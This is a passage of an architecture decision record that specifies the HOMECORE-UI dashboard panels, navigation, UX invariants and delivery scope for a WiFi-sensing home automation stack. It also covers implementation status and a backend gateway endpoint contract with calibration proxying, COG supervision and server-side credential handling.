- **Multi-SEED fusion indicator** — for rooms served by multiple SEEDs, show a small badge indicating how many SEED nodes contributed to the `MultiNodeMixture` for this room's reading.
|
||||
|
||||
### 4.6 v0 Appliance COG Management
|
||||
|
||||
The v0 Appliance hosts COGs at `/var/lib/cognitum/apps/`. This panel is the operational companion to the existing Cog Store (`seed.cognitum.one/store`). It must match the Cog Store's visual conventions precisely — same card layout, same category pills, same install/detail button pair — because operators will move between the two surfaces.
|
||||
|
||||
- **Installed COGs list** — for each COG: `id` and `version` in `--mono`, architecture badge (`arm`/`hailo10` etc., category-pill pattern), status pill (running/stopped/failed/updating in green/grey/red/amber), `binary_sha256` verified badge (Ed25519 signature verification shown as a shield icon in `--green` or `--red`), and PID from the pid file. Actions: start, stop, restart (ghost style), and view `output.log` / `error.log` in a monospace drawer using `--mono`. Edit `config.json` inline with syntax highlighting.
|
||||
- **COG Store / App Registry** — browsable `app-registry.json` listing. This panel should visually mirror `seed.cognitum.one/store` as closely as possible — same featured-card hero layout, same icon + title + description + category pill + action button structure. One-click install downloads the binary from GCS, verifies `binary_sha256` + `binary_signature`, writes the manifest, and starts the COG. Show which new homecore entities will appear in the state machine after install, as a preview list before confirming.
|
||||
- **OTA Updates** — a badge count on installed COGs with available updates, matching the "Installed (N)" tab badge convention from the existing Cog Store. Show a diff panel (version change, new entities, config schema changes) before confirming the update.
|
||||
- **Hailo HEF status** — for COGs with `arch: hailo10`: loaded HEF files on the Hailo-10H, current inference throughput, and `ruvector-hailo-worker:50051` connection status. The RF Foundation Encoder ([ADR-150](ADR-150-rf-foundation-encoder.md)) and neural pose head display here once available.
|
||||
|
||||
### 4.7 Calibration Wizard
|
||||
|
||||
The full baseline → enroll → train → verify pipeline runs via HTTP against the v0 Appliance ([ADR-151](ADR-151-room-calibration-specialist-training.md)). This is a multi-step guided flow — not a raw API panel. Use a stepped wizard layout with a progress indicator at the top (steps 1–5 as numbered pills, active step in `--cyan`, completed in `--green`, pending in `--t3`).
|
||||
|
||||
- **Step 1 — Select room and SEED** — enter a `room_id` name (validated against `[A-Za-z0-9_-]{1,64}`) and select which SEED(s) and ESP32 nodes serve this room from a dropdown populated from the live fleet. Show current CSI ingest health for the selected nodes inline — if frames are not arriving at the expected rate, display an amber warning **before** allowing the operator to proceed. A broken ingest pipeline will silently fail calibration.
|
||||
- **Step 2 — Baseline capture** — `POST /api/v1/calibration/start`. A large full-width animated progress bar (cyan fill) reads from `GET /api/v1/calibration/status`: frames recorded vs target, ETA in seconds, `z_median` value. If `motion_flagged` is true, overlay an amber banner: "Room must be empty — movement detected." The baseline UUID produced here is the anchor for all future STALE detection for this room — display it in `--mono` once complete so operators can record it.
|
||||
- **Step 3 — Anchor enrollment** — the 8 anchor labels in enforced order: `empty`, `stand_still`, `sit`, `lie_down`, `breathe_slow`, `breathe_normal`, `small_move`, `sleep_posture`. For each: a human-readable instruction with an illustration, a countdown timer rendered as a circular progress ring in `--cyan`, and an immediate quality-gate result (accepted in green, retry in amber with a reason string). Drive via `POST /api/v1/enroll/anchor` + `GET /api/v1/enroll/status`. After each accepted anchor, show the extracted feature values (mean, variance, breathing_score, heart_score) in a small `--mono` data row so operators can sanity-check the capture. Show overall progress as "N / 8 anchors accepted."
|
||||
- **Step 4 — Train** — a single `POST /api/v1/room/train` call. Show the 6 specialist results as a checklist: presence (threshold + occupied_var), posture (prototype count), breathing (min_score), heartbeat (min_score), restlessness (calm/active motion values), anomaly (prototype count + scale). Specialists that returned non-null render in `--green`. Null specialists (insufficient anchor data) render in `--amber` with a "Re-enroll missing anchors" prompt linking back to Step 3 for the specific missing labels.
|
||||
- **Step 5 — Verify live** — display the live `RoomState` for the just-trained room using the same per-room card layout as §4.5. Prompt the operator to stand in the room and verify presence is detected, try sitting/lying to confirm posture, and breathe normally to confirm vitals are in plausible range. A "Confirm and save" button (cyan, primary) closes the wizard; a "Something's wrong — re-enroll" button (ghost) loops back to Step 3.
|
||||
|
||||
### 4.8 Event Bus & Automation Feed
|
||||
|
||||
- **Live event stream panel** — a virtualized scrolling list of `SystemEvent` variants (`StateChanged`, `EntityRegistered`, `ConfigReloaded`) and notable `DomainEvent`s from the homecore Tokio broadcast channel. Each row shows: event-type pill (coloured by variant), `entity_id` in `--mono`, old state → new state arrow, timestamp, and `context.user_id`. The stream is filterable by entity domain, event type, or source SEED/COG. The filter bar uses the same search-input style as the Cog Store's search field.
|
||||
- **Context causality breadcrumb** — expanding any event row shows the full Context chain (`context.id` → `parent_id` → `grandparent_id`) as a breadcrumb trail in `--mono`. This is how automation loops become visible without any separate debugging tool.
|
||||
- **Automation builder** ([ADR-129](ADR-129-homecore-automation-engine.md) scope) — a trigger → condition → action editor on the card surface. The most important RuView-specific trigger types to support are: `state_changed` on `RoomState` entities with a threshold expression (e.g. `anomaly.value > 0.8`), SEED reflex-rule firing events (`fragility_alarm`, `hd_anomaly_indicator`), and custom `domain_event` topics. Actions include calling services in the homecore service registry and firing domain events. The condition expression editor uses `--mono`.
|
||||
|
||||
### 4.9 Witness / Audit Log
|
||||
|
||||
- **Unified witness timeline** — a chronological merged view of events from both tiers: the SEED's SHA-256 ingest chain (every RVF store write attested) and homecore's Ed25519 state-transition chain (biometric crossings, BFLD identity-risk elevations). Each row: `entity_id` in `--mono`, old/new state, timestamp, source SEED `device_id`, signing key fingerprint (first 8 chars in `--mono`). Pagination uses the same "Showing X–Y of Z" convention from the Cog Store's cog grid.
|
||||
- **Privacy mode banner** — a persistent top-of-panel banner showing current privacy mode: `--green-d`/green text for full-publish mode; `--amber-d`/amber text for audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages). Show the per-SEED privacy mode state, since SEEDs can be individually configured. Toggling privacy mode is a high-stakes action — require an explicit "Confirm" step with a summary of what will change.
|
||||
- **Export bundle** — an "Export attestation bundle" button (ghost) that packages the SEED witness chain + homecore Ed25519 chain as a downloadable archive for regulated-deployment (care home, hotel, shared office) compliance handoff.
|
||||
|
||||
### 4.10 Settings & Integration Config
|
||||
|
||||
- **SEED fleet management** — add, remove, and reprovision SEEDs. Show the USB-only pairing requirement prominently (the pairing window only opens via `169.254.42.1`, not WiFi — a security invariant). Per-SEED: `device_id` in `--mono`, firmware version, bearer token status, and a "Rotate token" action (ghost) that walks the operator through the secure token rotation flow.
|
||||
- **ESP32 node provisioning** — per-node NVS config display (target IP, target port, node_id), last-seen firmware version, and a link to the provisioning script. The `node_id` → room/zone assignment is editable here and persists to the room calibration system's `room_id` mapping.
|
||||
- **MQTT / cog-ha-matter config** ([ADR-116](ADR-116-cog-ha-matter-seed.md)) — broker URL, credentials (masked), MQTT topic prefix, mDNS advertisement status (`_ruview-ha._tcp`), and a live connection indicator (green dot for connected, red for unreachable). The 21 HA-DISCO entities per node are listed here with their `via_device` assignments showing which SEED they belong to in HA's device registry.
|
||||
- **Long-lived access tokens** — for homecore-api companion-app connections (HA 2025.1 wire-compat, [ADR-130](ADR-130-homecore-rest-websocket-api.md)). Token creation, last-used timestamp, and revocation. The HA companion-app pairing QR-code flow surfaces here.
|
||||
- **Federation config** — for multi-SEED deployments: ESP-NOW mesh sync status, cross-SEED epoch alignment values, and federated-learning round settings (coordinator SEED, round cadence, Krum aggregation parameters per [ADR-105](ADR-105-federated-csi-training.md)). The design invariant **"model deltas only, never raw CSI"** must be labelled explicitly in this panel.
|
||||
|
||||
---
|
||||
|
||||
## 5. Navigation structure
|
||||
|
||||
HOMECORE-UI must integrate into the existing Cognitum Appliance nav shell. The top nav should read:
|
||||
|
||||
```
|
||||
Framework | Guide | Cog Store | HOMECORE | Status
|
||||
```
|
||||
|
||||
— inserting **HOMECORE** as a first-class nav item between the existing "Cog Store" and "Status" entries, using the same nav-item style (text in `--t2`, active state in `--cyan` with bottom underline).
|
||||
|
||||
Within the HOMECORE section, a left sidebar (or top sub-nav on narrow viewports) provides section navigation:
|
||||
|
||||
```
|
||||
Dashboard | SEED Fleet | Entities | Rooms | COGs | Calibration | Events | Audit | Settings
|
||||
```
|
||||
|
||||
The COG Store panel within HOMECORE (§4.6) links out to `seed.cognitum.one/store` for the full catalog view, ensuring the existing Cog Store remains the canonical browsing experience.
|
||||
|
||||
---
|
||||
|
||||
## 6. Key UX invariants
|
||||
|
||||
These must be maintained across every panel:
|
||||
|
||||
1. **Always make the tier origin of any data explicit.** A `RoomState` reading traces to an ESP32 node → SEED → COG → v0 Appliance state machine. The provenance badge (§4.4) must appear wherever entity states are displayed.
|
||||
2. **The `stale` and `vetoed` flags from `RoomState` and the kNN fragility score from SEED cognitive analysis are meaningful diagnostic signals** — they must never be silently hidden, styled grey-on-grey, or collapsed behind an expand toggle. They represent system health operators need to act on.
|
||||
3. **Values that are `null` because a specialist has not been trained must be visually distinct from values that are unavailable due to an error.** The distinction is operationally important: `null` means "calibrate to enable," unavailable means "investigate."
|
||||
4. **All entity IDs, hashes, API endpoints, binary signatures, device UUIDs, and JSON payloads must use `--mono` font.** This is already the convention in the API Explorer and must be consistent throughout HOMECORE-UI.
|
||||
5. **The v0 Appliance Hailo HAT is a separate subsystem from the SEED's edge compute.** Inference results tagged as Hailo-sourced (COGs with `arch: hailo10`) must be visually distinguished from results from CPU-only COGs (`arch: arm`) so operators can triage hardware-specific failures.
|
||||
|
||||
---
|
||||
|
||||
## 7. Scope — complete UI delivery
|
||||
|
||||
The deliverable is the **entire** dashboard. Every panel below ships fully implemented and wired to its live data source — there is no scaffold-only milestone and no panel left as a placeholder. The table records each panel's authoritative backing API so the build can proceed in whatever order best fits the dependency graph; it is a dependency map, **not** a sequence of partial releases.
|
||||
|
||||
| Panel | Section | Backing API / source |
|
||||
|---|---|---|
|
||||
| System Dashboard | §4.1 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) WebSocket + appliance health endpoints |
|
||||
| SEED Detail View | §4.2 | SEED HTTPS API (vector store, witness, sensors, reflex, cognitive analysis) |
|
||||
| SEED Fleet Map | §4.3 | fleet topology + federation ([ADR-105](ADR-105-federated-csi-training.md)) |
|
||||
| Entity & State Browser | §4.4 | [ADR-127](ADR-127-homecore-state-machine-rust.md) state machine via [ADR-130](ADR-130-homecore-rest-websocket-api.md) `subscribe_events`; semantic search via [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) |
|
||||
| RoomState / Sensing | §4.5 | [ADR-151](ADR-151-room-calibration-specialist-training.md) `GET /api/v1/room/state` |
|
||||
| COG Management | §4.6 | [ADR-128](ADR-128-homecore-integration-plugin-system.md) plugin runtime + [ADR-100](ADR-100-cog-packaging-specification.md) app registry |
|
||||
| Calibration Wizard | §4.7 | [ADR-151](ADR-151-room-calibration-specialist-training.md) calibration HTTP API |
|
||||
| Event Bus & Automation | §4.8 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) broadcast channel + [ADR-129](ADR-129-homecore-automation-engine.md) automation engine |
|
||||
| Witness / Audit Log | §4.9 | SEED SHA-256 ingest chain + homecore Ed25519 chain |
|
||||
| Settings & Integration | §4.10 | SEED provisioning, [ADR-116](ADR-116-cog-ha-matter-seed.md) MQTT/Matter, LLAT, federation |
|
||||
|
||||
### 7.1 Build sequencing within the complete deliverable
|
||||
|
||||
The complete UI depends on backing services that mature on their own timelines. Each panel is built against the **real gateway endpoint** defined in §11; where the upstream is not yet available the panel renders a typed empty/error state, **not** fabricated data (the dev-only `?demo=1` fixture of §2.2 exists for offline development only and is never the shipped behaviour). Concretely, the hard contract dependencies are: [ADR-130](ADR-130-homecore-rest-websocket-api.md) (REST + WebSocket), [ADR-127](ADR-127-homecore-state-machine-rust.md) (state machine), [ADR-151](ADR-151-room-calibration-specialist-training.md) (calibration), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (plugin runtime), [ADR-129](ADR-129-homecore-automation-engine.md) (automation), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (event history + semantic search), [ADR-116](ADR-116-cog-ha-matter-seed.md) (SEED/Matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED ingest), and [ADR-105](ADR-105-federated-csi-training.md) (federation). The keyword entity filter (§4.4) ships immediately; semantic search layers on once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) lands. The exact panel→endpoint→upstream map and the new gateway code each requires are §11; the staged delivery is §12.
|
||||
|
||||
---
|
||||
|
||||
## 8. Consequences
|
||||
|
||||
### 8.1 Positive
|
||||
|
||||
- Operators, integrators, and residents get a single coherent surface for the full two-tier stack, replacing the need to SSH into SEEDs or hand-craft API calls.
|
||||
- The dashboard reuses the proven Cognitum design tokens and component patterns verbatim, so it ships visually consistent with no separate design effort and no perceptible seam between surfaces.
|
||||
- Diagnostic signals that today are invisible (`stale`/`vetoed` flags, kNN fragility, provenance lineage, channel lag) become first-class, surfacing the system's most common real-world failure modes directly to operators.
|
||||
|
||||
### 8.2 Negative / risks
|
||||
|
||||
- The UI hard-depends on the wire-compat guarantees of ADR-130 and the calibration contract of ADR-151; schema drift in either breaks panels silently. Integration tests against every backing contract in §7 are required.
|
||||
- Committing to the complete UI in one deliverable is a larger up-front effort and couples the UI's readiness to the maturity of multiple backing services (§7.1, §11). The mitigation is the BFF gateway (§2.1): each panel targets one same-origin endpoint, and the gateway absorbs upstream churn behind a stable contract.
|
||||
- Promoting `homecore-server` to a gateway means it now **proxies cross-tier traffic** (calibration API, SEED HTTPS, appliance daemons). This adds a network hop, a place for upstream timeouts/partial failures to surface, and a server-side store of SEED bearer tokens that must be protected (§11.10). Each proxied route needs an explicit timeout + typed error mapping so one slow SEED cannot stall the dashboard.
|
||||
- Several panels depend on data that only exists on **real hardware or new daemons** (SEED device tier, appliance host metrics, COG supervisor). Until those upstreams exist the corresponding gateway routes return `503 upstream_unavailable`; this is honest but means the dashboard is only as "live" as the tiers behind it (§11 classifies every endpoint by what it depends on).
|
||||
- Faithfully mirroring `seed.cognitum.one/store` couples HOMECORE-UI to the external Cog Store's evolving design; token drift there must be tracked and re-synced.
|
||||
- The two-tier mental model (Appliance root, SEED children, ESP32 leaves) must be enforced consistently; any panel that flattens or peers the tiers undermines the core architectural constraint.
|
||||
|
||||
---
|
||||
|
||||
## 9. References
|
||||
|
||||
- `https://seed.cognitum.one/store` — primary design reference for all visual conventions.
|
||||
- `https://seed.cognitum.one/status` — reference for live metric-card layout.
|
||||
- [ADR-126](ADR-126-ruview-native-ha-port-master.md) — HOMECORE master ADR.
|
||||
- [ADR-127](ADR-127-homecore-state-machine-rust.md) — HOMECORE-CORE state machine and entity registry.
|
||||
- [ADR-128](ADR-128-homecore-integration-plugin-system.md) — HOMECORE-PLUGINS WASM COG substrate.
|
||||
- [ADR-129](ADR-129-homecore-automation-engine.md) — HOMECORE automation engine.
|
||||
- [ADR-130](ADR-130-homecore-rest-websocket-api.md) — HOMECORE-API REST + WebSocket wire-compat.
|
||||
- [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) — homecore-recorder, history + semantic search.
|
||||
- [ADR-100](ADR-100-cog-packaging-specification.md) — Cognitum Cog packaging specification (manifest.json, status values, on-device layout).
|
||||
- [ADR-116](ADR-116-cog-ha-matter-seed.md) — cog-ha-matter (SEED cog, HA-DISCO entity surface, mDNS).
|
||||
- [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) — ESP32 CSI → Cognitum SEED RVF ingest pipeline (SEED architecture detail).
|
||||
- [ADR-105](ADR-105-federated-csi-training.md) — Federated CSI training (multi-SEED federation).
|
||||
- [ADR-151](ADR-151-room-calibration-specialist-training.md) — Per-room calibration specialist training (calibration HTTP API).
|
||||
- `v2/crates/homecore/src/` — state machine, entity, event, registry source.
|
||||
- `docs/integration/calibration-appliance-integration.md` — calibration API contract and RoomState schema.
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation status
|
||||
|
||||
Implemented as a zero-dependency, no-build-step vanilla TS/JS + CSS frontend served by `homecore-server` at `/homecore` (the `rufield-viewer` "Axum + vanilla-JS" pattern). The complete deliverable per §2/§7 — all ten panels, fully rendered, wired to live data where the backing service exists and to a contract-conformant DEMO-flagged mock layer (§7.1) where it does not.
|
||||
|
||||
**Location:** `v2/crates/homecore-server/ui/` — `css/tokens.css` (the §3.1 palette, verbatim) + `css/app.css` (§3.3 components); `js/{ui,api,ws,mock,app}.js` (shared helpers, REST client, `subscribe_events` WS client, mock layer, shell+router); `js/panels/*.js` (one module per §4 panel). Mounted via `tower-http` `ServeDir` in `homecore-server::build_app`, gated by `--ui-dir`/`HOMECORE_UI_DIR`.
|
||||
|
||||
**Verification:**
|
||||
- **Rust** — `#[cfg(test)] mod ui_tests` in `homecore-server/src/main.rs`: 5 integration tests (`tower::oneshot`) covering index, design tokens, all ten panel modules served, API coexistence, and mount-disable. *Written but not compiled in the authoring environment (no Rust toolchain present); run `cargo test -p homecore-server` on a Rust host before merge.*
|
||||
- **Frontend** — `ui/` test suite under plain `node` (no npm install): `npm test` → import/export graph verifier (15 modules) + render-smoke (executes every panel against a DOM shim; 21 checks) + interaction suite (live WS patch, ws.js handshake/parse, calibration contract; 3 checks). **24/24 green.**
|
||||
- **Benchmark** — `npm run bench`: total bundle **136.8 KB** uncompressed (**~37× smaller** than HA's ~5 MB Lit bundle, the ADR-126 §1.1 foil); slowest panel **1.5 ms/cold-render**.
|
||||
|
||||
**Honest scope — current vs. target.** *Earlier cut:* the front-end was complete but only §4.4 Entities was wired to a real backend; the rest rendered from an in-browser mock. *This revision implements the §11 wiring:*
|
||||
|
||||
- **Front-end (§11.11) — DONE and verified.** `api.js` rewritten: all data accessors are async and call the §11.2 gateway routes; the mock layer is demoted to a dev-only fixture reachable **only** under `?demo=1` / `HOMECORE_UI_DEMO` (§2.2); every panel `await`s and renders a typed empty/error state on failure (no mock fallback in production). All ten panels converted (3 by hand, 7 via parallel agents). Verified under Node: 5 test files green — import graph, boot, render-smoke (22), interaction (3), **and a new prod-errors suite (13) that runs with demo OFF + gateway unreachable and asserts every panel renders an error state, never mock, never throws** (it caught and fixed a real unhandled-rejection in the events panel).
|
||||
- **Gateway (§11.1–§11.6) — IMPLEMENTED, COMPILED, TESTED, RUN.** New `homecore-server/src/gateway.rs` (+`reqwest` dep, +CLI/env flags `--calibration-url`/`--calibration-token`/`--apps-dir`/`--gateway-timeout-ms`, merged into `build_app` via `gateway_router`). Real handlers: `/api/cal/*` reverse-proxy (W2), `GET /api/homecore/rooms` with the §11.3 RoomState adapter (W2), `GET /api/homecore/cogs` supervisor over the apps dir (W4), `GET /api/homecore/appliance` from `/proc` + port probes (W6). SEED-device/appliance-daemon routes (seeds, federation, witness, privacy, settings, automations, events-history, hailo, tokens — W3/W5) return a typed `503 upstream_unavailable` per §11.2. **Verified on Rust 1.89: `cargo test -p homecore-server --no-default-features` = 12/12 pass** (6 gateway + 6 UI mount). **Run live:** `GET /api/homecore/appliance` returns real `/proc` metrics + TCP service probes; unauth → `401`; `cogs` → `[]` with no apps dir; SEED-tier → typed `503`; and against a mock calibration upstream the `/api/cal/*` proxy passes through (`200`) and `GET /api/homecore/rooms` correctly adapts `RoomState` to the UI shape (`breathing`→`breathing_bpm`, `heartbeat:null`→`heart_bpm:null`, injected `anomaly.threshold`/`room_id`, `stale` passthrough). **Live testing caught + fixed one real bug** — a double-`v1` path in the `/api/cal/*` proxy URL.
|
||||
|
||||
The endpoint-by-endpoint contract is **§11**; the staged plan and which endpoints depend on real SEED/appliance hardware vs. pure software is **§12**.
|
||||
|
||||
---
|
||||
|
||||
## 11. Backend wiring — making every panel real
|
||||
|
||||
This section is the authoritative contract for full functionality. It removes the mock layer from the production path (§2.2) by routing every panel through the `homecore-server` BFF gateway (§2.1). Each endpoint is classified by what it depends on:
|
||||
|
||||
- **EXISTS** — backend code already in this repo; gateway only proxies/adapts.
|
||||
- **NEW-GW** — pure software the gateway itself implements (filesystem, `/proc`, process control, recorder query) — no new external service.
|
||||
- **NEW-API** — a small HTTP wrapper to add to an existing in-repo crate (`homecore-api`, `homecore-automation`).
|
||||
- **SEED-DEV** — depends on a SEED node's on-device HTTPS API (separate hardware/firmware).
|
||||
- **APPLIANCE** — depends on an appliance daemon / accelerator stat source.
|
||||
|
||||
### 11.1 Gateway shape
|
||||
|
||||
`homecore-server` already mounts `homecore-api` at `/api/*` and the UI at `/homecore`. It gains a new **`/api/homecore/*`** namespace (the dashboard-specific aggregation surface) plus a **`/api/cal/*`** reverse-proxy to the calibration service. The browser issues only same-origin requests; the gateway fans out server-side, holding all upstream credentials (§11.10). Every proxied route has an explicit timeout and maps upstream failure to a typed body (`503 upstream_unavailable`, `504 upstream_timeout`) so one slow tier never stalls the dashboard.
|
||||
|
||||
### 11.2 Master endpoint contract (panel → gateway route → upstream → status)
|
||||
|
||||
| Panel | UI method (`api.js`) | Gateway route | Upstream / source | Class |
|
||||
|---|---|---|---|---|
|
||||
| §4.4 Entities | `states()` | `GET /api/states` | `homecore` state machine | **EXISTS** ✅ wired |
|
||||
| §4.4/§4.8 live feed | WS | `GET /api/websocket` (`subscribe_events`) | `homecore` event bus | **EXISTS** ✅ wired |
|
||||
| §4.8 Event history | `eventHistory(q)` | `GET /api/events?since=…` | `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) | **NEW-API** |
|
||||
| §4.8 Automations | `automations()` / `saveAutomation()` | `GET/POST/DELETE /api/homecore/automations` | `homecore-automation` ([ADR-129](ADR-129-homecore-automation-engine.md)) | **NEW-API** |
|
||||
| §4.5 Rooms | `roomStates()` | `GET /api/homecore/rooms` → per-room `GET /api/cal/v1/room/state?bank=` | `calibrate-serve` ([ADR-151](ADR-151-room-calibration-specialist-training.md)) | **EXISTS** (proxy + adapter) |
|
||||
| §4.7 Calibration | `calibration.*` | `POST /api/cal/v1/calibration/{start,stop}`, `GET …/status`, `POST …/enroll/anchor`, `GET …/enroll/status`, `POST …/room/train` | `calibrate-serve` | **EXISTS** (proxy) |
|
||||
| §4.6 COGs | `cogs()` / `cogAction()` / `cogLogs()` | `GET /api/homecore/cogs`, `POST …/cogs/:id/{start,stop,restart}`, `GET …/cogs/:id/logs`, `GET/PUT …/cogs/:id/config` | COG supervisor over `/var/lib/cognitum/apps/` ([ADR-100](ADR-100-cog-packaging-specification.md)/[ADR-128](ADR-128-homecore-integration-plugin-system.md)) | **NEW-GW** |
|
||||
| §4.6 Hailo HEF | `hailo()` | `GET /api/homecore/hailo` | `ruvector-hailo-worker:50051` | **APPLIANCE** |
|
||||
| §4.1 Appliance health | `appliance()` | `GET /api/homecore/appliance` | host `/proc` + Hailo stats + service probes | **NEW-GW** (+APPLIANCE for Hailo) |
|
||||
| §4.1/§4.2 Fleet + SEED detail | `seeds()` / `seed(id)` | `GET /api/homecore/seeds`, `GET …/seeds/:id` | SEED device HTTPS API ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) via registry | **SEED-DEV** |
|
||||
| §4.2 SEED actions | `seedCompact()` / `seedVerify()` | `POST …/seeds/:id/{compact,witness/verify}` | SEED device API | **SEED-DEV** |
|
||||
| §4.3 Federation | `federation()` | `GET /api/homecore/federation` | federation coordinator ([ADR-105](ADR-105-federated-csi-training.md)) | **SEED-DEV/APPLIANCE** |
|
||||
| §4.9 Witness/Audit | `witnessLog(p,s)` | `GET /api/homecore/witness?page=…` | merge: `homecore` Ed25519 chain + per-SEED SHA-256 chains | **NEW-API + SEED-DEV** |
|
||||
| §4.9 Privacy mode | `privacyModes()` / `setPrivacy()` | `GET/POST /api/homecore/privacy` | SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) + cog-ha-matter | **SEED-DEV** |
|
||||
| §4.9 Export bundle | `exportAttestation()` | `GET /api/homecore/witness/export` | gateway packages both chains | **NEW-GW** |
|
||||
| §4.10 Tokens (LLAT) | `tokens()` / `createToken()` / `revokeToken()` | `GET/POST/DELETE /api/homecore/tokens` | `homecore-api` `LongLivedTokenStore` | **NEW-API** |
|
||||
| §4.10 MQTT/Matter | `mqttConfig()` | `GET /api/homecore/integrations/mqtt` | cog-ha-matter config ([ADR-116](ADR-116-cog-ha-matter-seed.md)) | **NEW-GW/SEED-DEV** |
|
||||
| §4.10 ESP32 provisioning | `nodes()` / `assignRoom()` | `GET/PUT /api/homecore/nodes` | SEED ingest config ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) | **SEED-DEV** |
|
||||
| §4.10 SEED mgmt | `pairSeed()` / `rotateToken()` | `POST /api/homecore/seeds/{pair,:id/rotate-token}` | SEED pairing (USB `169.254.42.1`) | **SEED-DEV** |
|
||||
|
||||
### 11.3 Calibration proxy + RoomState adapter
|
||||
|
||||
The calibration service is real but on a different binary/port; the gateway reverse-proxies it under `/api/cal/*` (upstream base from `HOMECORE_CALIBRATION_URL`). Its `RoomState` (`wifi-densepose-calibration/src/runtime.rs`) does **not** match the UI's shape, so the gateway adapts it in `GET /api/homecore/rooms`:
|
||||
|
||||
| Real field (`RoomState`) | UI field | Adapter rule |
|
||||
|---|---|---|
|
||||
| `breathing: Option<SpecialistReading>` | `breathing_bpm: {value,confidence}\|null` | rename; `value`=`reading.value`, `confidence`=`reading.confidence`; `None`→`null` (preserves "not trained") |
|
||||
| `heartbeat: Option<…>` | `heart_bpm: {…}\|null` | rename `heartbeat`→`heart_bpm` |
|
||||
| `presence/posture/restlessness` | same names `{value,confidence}\|null` | `posture.value`=`reading.label` (class), else numeric |
|
||||
| `anomaly: Option<…>` | `anomaly: {value,confidence,threshold}` | inject `threshold`=`MixtureOfSpecialists.veto_threshold` (0.5) |
|
||||
| `vetoed` / `stale` | `vetoed` / `stale` | pass through (drives the §4.5/§6 banners) |
|
||||
| *(absent)* | `room_id`, `seeds[]` | injected by the gateway from the **room registry** |
|
||||
|
||||
A **room registry** (config or derived from `GET /api/cal/v1/calibration/baselines`) maps each `room_id` → bank name + serving SEED ids, so `GET /api/homecore/rooms` returns one adapted record per room. `Option::None` → JSON `null` keeps the null-vs-withheld distinction (§6 invariant 3) intact end-to-end.
|
||||
|
||||
### 11.4 SEED registry & device-API proxy
|
||||
|
||||
The gateway holds a **SEED registry** (`device_id` → base URL + bearer token + zone), populated by pairing (§4.10) and persisted server-side. `GET /api/homecore/seeds[/:id]` fans out to each SEED's on-device API and shapes the result to the §4.2 card/detail model. Expected SEED-side endpoints (the contract the SEED firmware must satisfy — a subset of its 98 endpoints): health; vector-store stats (`vector_count`, `dim`, `epoch`, `knn_latency_ms`, ingest rate); witness (`len`, `last_verify`, `valid`) + `POST verify`; onboard sensors (BME280/PIR/reed/ADS1115/vibration); reflex rules + thresholds; cognitive analysis (fragility, coherence phases); ingest feeders (ESP32 node ids + packet type `0xC5110003`/`0xC5110002` + rate). Offline/unreachable SEEDs surface as `online:false` (drives the §4.1 red tint) rather than failing the whole list.
|
||||
|
||||
### 11.5 Appliance metrics collector (§4.1)
|
||||
|
||||
`GET /api/homecore/appliance`, implemented in the gateway: CPU/RAM/uptime from `/proc`; Hailo load + temperature from the Hailo runtime/sysfs (or `ruvector-hailo-worker` stats); service health by probing `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`; event-bus rate from the `homecore` broadcast channel + its lag counter (already exposed for §4.1/§4.4).
|
||||
|
||||
### 11.6 COG supervisor (§4.6)
|
||||
|
||||
`GET /api/homecore/cogs`: read each `/var/lib/cognitum/apps/*/manifest.json` ([ADR-100](ADR-100-cog-packaging-specification.md)), the pid file, and verify `binary_sha256` + `binary_signature` (Ed25519) → status/shield. `POST …/cogs/:id/{start,stop,restart}` performs supervised process control; `GET …/cogs/:id/logs` tails `output.log`/`error.log`; `GET/PUT …/cogs/:id/config` reads/writes `config.json`. Hailo-arch COGs join the §11.5 Hailo stats. The Cog Store/App-Registry **browsing** panel was removed per product decision; this is operational management only.
|
||||
|
||||
### 11.7 Witness aggregation + privacy (§4.9)
|
||||
|
||||
`GET /api/homecore/witness` merges two chains chronologically: the `homecore` Ed25519 state-transition chain (exposed by a small `homecore-api` route over its witness log) and each paired SEED's SHA-256 ingest chain (proxied via the registry), paginated server-side. `GET/POST /api/homecore/privacy` reads/sets per-SEED privacy mode via the SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) — the POST is the high-stakes confirmed toggle (§4.9). `GET /api/homecore/witness/export` packages both chains into the downloadable attestation bundle.
|
||||
|
||||
### 11.8 Event history + automation CRUD (§4.8)
|
||||
|
||||
`homecore-api` adds `GET /api/events?since=…` backed by `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) for history (live updates continue over the existing WS). The automation builder persists through `GET/POST/DELETE /api/homecore/automations`, a thin HTTP wrapper over the `homecore-automation` engine's register/list/remove ([ADR-129](ADR-129-homecore-automation-engine.md)). RuView-specific triggers (RoomState thresholds, SEED reflex events) map onto the engine's trigger types.
|
||||
|
||||
### 11.9 Entity provenance convention (§4.4/§6)
|
||||
|
||||
The first-class provenance badge requires each entity to carry its lineage. Convention: every integration writes `attributes.source` (and, where known, `attributes.seed` / `attributes.cog`) when it sets state; `cog-ha-matter` ([ADR-116](ADR-116-cog-ha-matter-seed.md)) populates these from the ESP32 node → SEED → COG path and HA `via_device`. The gateway/UI resolves node→seed→cog from these attributes (no fabrication; missing lineage renders as "unknown", not invented).
|
||||
|
||||
### 11.10 Auth, credentials, config
|
||||
|
||||
- **Browser → gateway:** one long-lived access token (the §4.10 LLAT), sent as `Authorization: Bearer`; validated by `homecore-api`'s `LongLivedTokenStore`. The dev default (`allow_any_non_empty`) stays for local runs; production provisions `HOMECORE_TOKENS`.
|
||||
- **Gateway → upstreams:** SEED bearer tokens and the calibration token live **only** server-side (SEED registry + `HOMECORE_CALIBRATION_TOKEN`); never sent to the browser. This is the reason the gateway exists.
|
||||
